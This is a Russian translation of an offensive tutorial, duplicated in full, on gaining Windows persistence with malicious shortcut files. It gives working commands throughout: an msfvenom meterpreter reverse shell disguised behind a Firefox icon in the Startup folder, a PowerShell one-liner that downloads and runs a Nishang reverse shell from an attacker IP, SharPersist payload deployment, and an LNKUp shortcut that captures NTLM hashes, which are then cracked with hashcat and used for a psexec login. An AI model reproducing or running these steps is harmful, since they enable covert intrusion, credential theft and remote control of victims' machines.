Введение
Согласно MITRE, "Злоумышленники могут настроить системные параметры для автоматического запуска программы во время загрузки системы или входа в систему, чтобы сохранить персистенс или получить привилегии более высокого уровня в скомпрометированных системах. Операционные системы могут иметь механизмы для автоматического запуска программы при загрузке системы или входе в учетную запись".
Модификация ярлыка — это метод, с помощью которого злоумышленник может заменить абсолютный путь исполняемого файла, который должен быть запущен, ярлыком и замаскировать его под законно выглядящий значок, который можно запускать при запуске, тем самым обеспечивая персистенс. В этой статье мы рассмотрим два таких простых метода, которые могут помочь пользователю обрести персистенс, используя этот метод.
ТАКТИКА MITRE: повышение привилегий (TA0004) и персистенс (TA0003)
ID ТЕХНИКИ MITRE: T1547 (автозапуск при загрузке или входе в систему)
SUBTITLE: PE инъекция (T1547.009)
Описание
Файл ярлыка заканчивается расширением *.LNK и содержит абсолютный путь к исполняемому файлу, который можно запустить с помощью этого ярлыка. Ярлыки использовались для атак злоумышленниками с тех пор, как 50 cent были на пике славы, а также когда не былдо неосведомленности о кибербезопасности. Одним из таких примеров является распространение вредоносных программ с помощью компакт-дисков и DVD-дисков, используемых в общественных интернет-кафе, которые часто содержат вредоносные ярлыки. В современных системах Windows файлы LNK могут запускать множество файлов, включая exe, cmd, vbs, powershell и т. д. Теперь злоумышленник может создать новый ярлык со встроенным скриптом powershell или изменить существующий ярлык для более скрытых атак. В этой статье мы говорим о таких подходах.
PERS1 - ручная модификация ярлыка + реверс-шелл
Чтобы начать эксплуатацию, нам сначала нужно настроить полезную нагрузку, которую мы будем запускать при запуске системы. Я создал полезную нагрузку meterpreter, используя msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.142 lport=1234 -f exe > shell.exe
Теперь, когда он готов, мы можем перейти к первому методу персистентности. Здесь мы предполагаем, что скомпрометировали систему и уже подключились через RDP к серверу или любой другой протокол, который позволяет нам просматривать графический интерфейс жертвы. На рабочем столе жертвы мы нашли ярлык Firefox.
Как видите, целевое поле в ярлыке настроено на запуск исполняемого файла firefox. Нам просто нужно переключить его с помощью нашей собственной команды. В этом случае я буду запускать реверс шелл, указав путь к файлу shell.exe. Кроме того, мы запустим программу в свернутом режиме, чтобы она была немного более незаметной.
Но, как вы могли заметить, значок был изменен. Чтобы заменить его обратно на желаемый Firefox, мы щелкнем значок изменения и укажем его на двоичный файл firefox.exe.
Все должно быть установлено и сделано сейчас так, и значок был заменен на значок Firefox.
Теперь нам нужно поместить этот ярлык в папку автозагрузки, чтобы он выполнялся каждый раз при перезагрузке системы.
%appdata%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Примечание. Убедитесь, что файл shell.exe находится в папке \users\public, чтобы он мог работать. После перезапуска системы наш обработчик успешно получил обратный шелл.
PERS2 — ручная модификация ярлыков + Powershell One Liner
Хотя указанный выше метод остается эффективным, для его использования требуется, чтобы пользователь вручную развернул полезную нагрузку на машине жертвы. Следующий способ чуть более тонкий. Мы будем развертывать однострочный файл powershell в файле ярлыка. Вы можете прочитать нашу статью здесь (https://www.hackingarticles.in/powershell-for-pentester-windows-reverse-shell/) о большем количестве таких тактик. Теперь мы будем использовать Nishang для этой цели. В разделе целевого пути вам нужно указать эту команду в качестве ввода:
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.78.142/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.78.142 -Port 4444
Вам нужно изменить свой IP и порт в соответствии с вашей средой.
Теперь вам нужно скачать скрипт Invoke-PowerShellTcp.ps1 и запустить локальный сервер Python на порту 80.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
python3 -m http.server 80
Теперь, когда ярлык помещен в папку автозагрузки и система перезагружена, мы должны получить обратную оболочку на нашем прослушивателе netcat!
PERS3 — изменение ярлыка с помощью SharPersist.exe
Следующий метод, который мы собираемся продемонстрировать, можно выполнить локально с клиентского терминала (обратная оболочка CLI). Мы будем использовать реализацию C# показанного ранее метода под названием "SharPersist". Чтобы загрузить кего, вы можете запустить следующую команду:
wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe
После первоначальной компрометации жертвы нам нужно загрузить этот исполняемый файл в систему жертвы вместе с полезной нагрузкой msfvenom meterpreter, которую мы сделали. Теперь, чтобы создать ярлык с помощью SharPersist, вы можете запустить инструмент со следующими флагами:
t=> целевая папка
c=> команда для запуска после выполнения
f=> имя файла
powershell wget 192.168.78.142/SharPersist.exe -O SharPersist.exe
powershell wget 192.168.78.142/shell.exe -O shell.exe
SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\Users\Public\shell.exe" -f "ignite" -m add
Как вы могли заметить, ярлык ignite.lnk был помещен в папку автозагрузки. После перезагрузки системы мы получили meterpreter shell!
PERS4 — создание ярлыков и компрометация хэшей NTLM
Последний метод — самый тонкий и наименее отслеживаесый из всех. Здесь мы используем скрипт Python под названием LNKUp, чтобы создать файл LNK и заставить жертву аутентифицироваться в нашей системе, и, в свою очередь, мы получаем его учетные данные NTLM. Это также можно сделать с помощью SharPersist, добавив команду проверки подлинности cmd или вызвав общий ресурс SMB, настроенный в kali (например, smbserver Impacket), используя путь UNC. Чтобы загрузить и запустить файл, вам необходимо установить python2.7 и pip2.7. После этого вы можете сгенерировать полезную нагрузку LNK следующим образом:
apt install python2.7
cd /usr/lib/python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2.7 get-pip.py
git clone https://github.com/plazmaz/lnkup.git
cd lnkup
python2.7 generate.py --host 192.168.78.133 --type ntlm --output readme.lnk
Теперь мы можем загрузить этот файл в папку автозагрузки вручную, используя скомпрометированный клиентский терминал.
cd C:\Users\hex\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
powershell wget 192.168.78.133/readme.lnk -O readme.lnk
Теперь нам нужно настроить ответчик на текущем интерфейсе. Это важно, поскольку аутентификация будет вызвана обратно в наш сетап и ответчик поймает ее.
Теперь ждем перезагрузки системы. Как только он перезапустится, вы увидите, что мы получили хэши NTLMv2.
Мы можем скопировать это в файл с именем "hash" и использовать hashcat для их взлома. Код модуля для NTLMv2 — 5600.
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force
Как вы можете видеть выше, хэш был взломан, а открытый текстовый пароль указан как «123». Теперь мы можем использовать эти учетные данные с psexec и войти в систему.
python3 psexec.py hex:123@192.168.78.141
whoami
Заключение
Лишь несколько атак в области кибербезопасности прошли проверку временем, и вредоносный ярлык — одна из них. Поставщики не предлагают реального решения для этой техники, потому что она полагается на доверчивость жертвы, чтобы это работало так же, как фишинг. Надеемся, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-persistence-shortcut-modification-t1547/
Согласно MITRE, "Злоумышленники могут настроить системные параметры для автоматического запуска программы во время загрузки системы или входа в систему, чтобы сохранить персистенс или получить привилегии более высокого уровня в скомпрометированных системах. Операционные системы могут иметь механизмы для автоматического запуска программы при загрузке системы или входе в учетную запись".
Модификация ярлыка — это метод, с помощью которого злоумышленник может заменить абсолютный путь исполняемого файла, который должен быть запущен, ярлыком и замаскировать его под законно выглядящий значок, который можно запускать при запуске, тем самым обеспечивая персистенс. В этой статье мы рассмотрим два таких простых метода, которые могут помочь пользователю обрести персистенс, используя этот метод.
ТАКТИКА MITRE: повышение привилегий (TA0004) и персистенс (TA0003)
ID ТЕХНИКИ MITRE: T1547 (автозапуск при загрузке или входе в систему)
SUBTITLE: PE инъекция (T1547.009)
Описание
Файл ярлыка заканчивается расширением *.LNK и содержит абсолютный путь к исполняемому файлу, который можно запустить с помощью этого ярлыка. Ярлыки использовались для атак злоумышленниками с тех пор, как 50 cent были на пике славы, а также когда не былдо неосведомленности о кибербезопасности. Одним из таких примеров является распространение вредоносных программ с помощью компакт-дисков и DVD-дисков, используемых в общественных интернет-кафе, которые часто содержат вредоносные ярлыки. В современных системах Windows файлы LNK могут запускать множество файлов, включая exe, cmd, vbs, powershell и т. д. Теперь злоумышленник может создать новый ярлык со встроенным скриптом powershell или изменить существующий ярлык для более скрытых атак. В этой статье мы говорим о таких подходах.
PERS1 - ручная модификация ярлыка + реверс-шелл
Чтобы начать эксплуатацию, нам сначала нужно настроить полезную нагрузку, которую мы будем запускать при запуске системы. Я создал полезную нагрузку meterpreter, используя msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.142 lport=1234 -f exe > shell.exe
Теперь, когда он готов, мы можем перейти к первому методу персистентности. Здесь мы предполагаем, что скомпрометировали систему и уже подключились через RDP к серверу или любой другой протокол, который позволяет нам просматривать графический интерфейс жертвы. На рабочем столе жертвы мы нашли ярлык Firefox.
Как видите, целевое поле в ярлыке настроено на запуск исполняемого файла firefox. Нам просто нужно переключить его с помощью нашей собственной команды. В этом случае я буду запускать реверс шелл, указав путь к файлу shell.exe. Кроме того, мы запустим программу в свернутом режиме, чтобы она была немного более незаметной.
Но, как вы могли заметить, значок был изменен. Чтобы заменить его обратно на желаемый Firefox, мы щелкнем значок изменения и укажем его на двоичный файл firefox.exe.
Все должно быть установлено и сделано сейчас так, и значок был заменен на значок Firefox.
Теперь нам нужно поместить этот ярлык в папку автозагрузки, чтобы он выполнялся каждый раз при перезагрузке системы.
%appdata%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Примечание. Убедитесь, что файл shell.exe находится в папке \users\public, чтобы он мог работать. После перезапуска системы наш обработчик успешно получил обратный шелл.
PERS2 — ручная модификация ярлыков + Powershell One Liner
Хотя указанный выше метод остается эффективным, для его использования требуется, чтобы пользователь вручную развернул полезную нагрузку на машине жертвы. Следующий способ чуть более тонкий. Мы будем развертывать однострочный файл powershell в файле ярлыка. Вы можете прочитать нашу статью здесь (https://www.hackingarticles.in/powershell-for-pentester-windows-reverse-shell/) о большем количестве таких тактик. Теперь мы будем использовать Nishang для этой цели. В разделе целевого пути вам нужно указать эту команду в качестве ввода:
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.78.142/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.78.142 -Port 4444
Вам нужно изменить свой IP и порт в соответствии с вашей средой.
Теперь вам нужно скачать скрипт Invoke-PowerShellTcp.ps1 и запустить локальный сервер Python на порту 80.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
python3 -m http.server 80
Теперь, когда ярлык помещен в папку автозагрузки и система перезагружена, мы должны получить обратную оболочку на нашем прослушивателе netcat!
PERS3 — изменение ярлыка с помощью SharPersist.exe
Следующий метод, который мы собираемся продемонстрировать, можно выполнить локально с клиентского терминала (обратная оболочка CLI). Мы будем использовать реализацию C# показанного ранее метода под названием "SharPersist". Чтобы загрузить кего, вы можете запустить следующую команду:
wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe
После первоначальной компрометации жертвы нам нужно загрузить этот исполняемый файл в систему жертвы вместе с полезной нагрузкой msfvenom meterpreter, которую мы сделали. Теперь, чтобы создать ярлык с помощью SharPersist, вы можете запустить инструмент со следующими флагами:
t=> целевая папка
c=> команда для запуска после выполнения
f=> имя файла
powershell wget 192.168.78.142/SharPersist.exe -O SharPersist.exe
powershell wget 192.168.78.142/shell.exe -O shell.exe
SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\Users\Public\shell.exe" -f "ignite" -m add
Как вы могли заметить, ярлык ignite.lnk был помещен в папку автозагрузки. После перезагрузки системы мы получили meterpreter shell!
PERS4 — создание ярлыков и компрометация хэшей NTLM
Последний метод — самый тонкий и наименее отслеживаесый из всех. Здесь мы используем скрипт Python под названием LNKUp, чтобы создать файл LNK и заставить жертву аутентифицироваться в нашей системе, и, в свою очередь, мы получаем его учетные данные NTLM. Это также можно сделать с помощью SharPersist, добавив команду проверки подлинности cmd или вызвав общий ресурс SMB, настроенный в kali (например, smbserver Impacket), используя путь UNC. Чтобы загрузить и запустить файл, вам необходимо установить python2.7 и pip2.7. После этого вы можете сгенерировать полезную нагрузку LNK следующим образом:
apt install python2.7
cd /usr/lib/python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2.7 get-pip.py
git clone https://github.com/plazmaz/lnkup.git
cd lnkup
python2.7 generate.py --host 192.168.78.133 --type ntlm --output readme.lnk
Теперь мы можем загрузить этот файл в папку автозагрузки вручную, используя скомпрометированный клиентский терминал.
cd C:\Users\hex\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
powershell wget 192.168.78.133/readme.lnk -O readme.lnk
Теперь нам нужно настроить ответчик на текущем интерфейсе. Это важно, поскольку аутентификация будет вызвана обратно в наш сетап и ответчик поймает ее.
Теперь ждем перезагрузки системы. Как только он перезапустится, вы увидите, что мы получили хэши NTLMv2.
Мы можем скопировать это в файл с именем "hash" и использовать hashcat для их взлома. Код модуля для NTLMv2 — 5600.
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force
Как вы можете видеть выше, хэш был взломан, а открытый текстовый пароль указан как «123». Теперь мы можем использовать эти учетные данные с psexec и войти в систему.
python3 psexec.py hex:123@192.168.78.141
whoami
Заключение
Лишь несколько атак в области кибербезопасности прошли проверку временем, и вредоносный ярлык — одна из них. Поставщики не предлагают реального решения для этой техники, потому что она полагается на доверчивость жертвы, чтобы это работало так же, как фишинг. Надеемся, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-persistence-shortcut-modification-t1547/